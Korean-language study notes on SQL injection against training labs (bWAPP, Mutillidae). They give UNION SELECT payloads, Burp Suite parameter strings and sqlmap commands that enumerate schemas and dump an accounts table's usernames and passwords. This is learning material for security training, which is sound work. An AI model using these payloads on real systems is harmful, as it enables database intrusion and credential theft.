SQL injection
GET/Search/Select
- 취약점 확인
Apostrophe 를 입력후 syntax error 유도
ex) ' " ; # --
- 주석 문자 확인
' or 1=1 -- 했더니 아무것도 안나오면 주석문자가 아니다
' or 1=1 # 했더니 전체 영화정보가 출력되니 주석문자 찾음
- 컬럼 수 확인
' union select 1,2,3,4,5,6# --> The used SELECT statements have a different number of columns
' union select 1,2,3,4,5# --> 다섯개일때 발견
- 데이터 베이스 이름 확인
- 테이블 이름 확인
화면에출력하는2,3,4,5번컬럼위치중에시스템변수또는시스템함수(예, database(), user(), system_user(),@@version, @@datadir등)를입력하여시스템또는데이터베이스정보파악
database() : 데이터베이스명을알려주는함수
user() : 현재사용자의아이디를알려주는함수
system_user() : 최고권한사용자의아이디를알려주는함수
@@version : 데이터베이스서버의버전
@@datadir: 데이터베이스서버가존재하는디렉터리
database(): 현재 DB이름 추출
' and 0=1 UNION SELECT all 1,database(),3,4,5#
schema_name FROM information_schema.schemata : 전체 DB이름 추출
'AND 0=1 UNION SELECT all 1,group_concat(schema_name),3,4,5 FROM information_schema.schemata #
table_name FROM information_schema.tables : 전체 테이블이름 추출
' AND 0=1 UNION SELECT all 1,group_concat(table_name),@@version,database(),5 from information_schema.tables where table_schema='owasp10'#
column_name FROM information_schema.columns : 전체 컬럼이름 추출
' AND 0=1 UNION SELECT all 1,group_concat(column_name),@@version,database(),5 from information_schema.columns where table_name='accounts'#
' AND 0=1 UNION SELECT all 1,cid,username,password,5 from accounts # : 데이터 추출
' AND 0=1 UNION SELECT all 1,group_concat(cid),group_concat(username),group_concat(password),5 from accounts #
+ 컬럼이름제외하고 출력
MySQL 데이터베이스에있는기본테이블인‘mysql’과‘information_schema’에포함되지않는테이블스키마, 테이블이름, 컬럼이름을확인하는구문입력 , ! 를입력해서 결과를 제외하는 조건을 추가
http://192.168.XX.XX/bWAPP/sqli_2.php?movie=0 union select all 1,table_schema,table_name,colum n_name,5,6,7 from information_schema.columns where table_schema!=‘mysql’ and table_schema!= ‘information_schema’&action=go
limit 1,1
=> limit 1,1은저장된 자료중 두번째부터1개정보출력
정리
database(): 현재 DB이름 추출
' and 0=1 UNION SELECT all 1,database(),3,4,5#
schema_name FROM information_schema.schemata : 전체 DB이름 추출
' AND 0=1 UNION SELECT all 1,group_concat(schema_name),3,4,5 FROM information_schema.schemata #
table_name FROM information_schema.tables : 전체 테이블이름 추출
' AND 0=1 UNION SELECT all 1,group_concat(table_name),@@version,database(),5 from information_schema.tables where table_schema='owasp10'#
column_name FROM information_schema.columns : 전체 컬럼이름 추출
' AND 0=1 UNION SELECT all 1,group_concat(column_name),@@version,database(),5 from information_schema.columns where table_name='accounts'#
' AND 0=1 UNION SELECT all 1,cid,username,password,5 from accounts # : 데이터 추출
' AND 0=1 UNION SELECT all 1,group_concat(cid),group_concat(username),group_concat(password),5 from accounts #
BurpSuite 사용한 SQL Injection
매개변수 값 뒤에 붙인다.
취약점 확인
ToolID='&pen-test-tool-lookup-php-submit-button=Lookup+Tool
주석문자확인
ToolID=1#&pen-test-tool-lookup-php-submit-button=Lookup+Tool
컬럼 수 확인
ToolID=1' AND 1=0 UNION SELECT all 1,2,3,4,5#
데이터베이스 이름 확인
ToolID=1' AND 1=0 UNION SELECT all 1,2,3,4,5#
테이블 이름 확인
ToolID=1'AND 1=0 UNION SELECT all group_concat(table_name),2,3,4,5 FROM information_schema.tables where table_schema='owasp10'#
컬럼 이름 확인
ToolID=1'AND 1=0 UNION SELECT all group_concat(column_name),2,3,4,5 FROM information_schema.columns where table_name='accounts'#
데이터 확인
ToolID=1'AND 1=0 UNION SELECT all group_concat(cid),group_concat(password),group_concat(mysignature),group_concat(is_admin) FROM accounts#
Sqlmap 을 사용한 SQL Injection
1. 취약점 확인
ToolID=1'&pen-test-tool-lookup-php-submit-button=Lookup+Tool
2. 쿠키값 확인
웹브라우저 F12를 눌러 확인하거나 BurpSuite에서 패킷을 통해 확인 PHPSESSID=27ad8dbffa28b6be07acabad74f5fa33
3. 매개변수 확인
BurpSuite을 사용하여 확인
4. 데이터베이스 이름 확인
sqlmap
-u "http://192.168.111.133/mutillidae/index.php?page=pen-test-tool-lookup.php"
--cookie="PHPSESSID=27ad8dbffa28b6be07acabad74f5fa33"
--data "ToolID=1&pen-test-tool-lookup-php-submit-button=Lookup+Tool"
-p "ToolID"
--dbs
5. 테이블 이름 확인
sqlmap
-u "http://192.168.111.133/mutillidae/index.php?page=pen-test-tool-lookup.php"
--cookie="PHPSESSID=27ad8dbffa28b6be07acabad74f5fa33"
--data "ToolID=1&pen-test-tool-lookup-php-submit-button=Lookup+Tool"
-p "ToolID"
-D owasp10 -tables
6. 컬럼 이름 확인
sqlmap
-u "http://192.168.111.133/mutillidae/index.php?page=pen-test-tool-lookup.php"
--cookie="PHPSESSID=27ad8dbffa28b6be07acabad74f5fa33"
--data "ToolID=1&pen-test-tool-lookup-php-submit-button=Lookup+Tool"
-p "ToolID"
-D owasp10
-T accounts
--columns
7. 데이터 확인
sqlmap
-u "http://192.168.111.133/mutillidae/index.php?page=pen-test-tool-lookup.php"
--cookie="PHPSESSID=27ad8dbffa28b6be07acabad74f5fa33"
--data "ToolID=1&pen-test-tool-lookup-php-submit-button=Lookup+Tool"
-p "ToolID"
-D owasp10
-T accounts
–C cid,username,password
—dump
--batch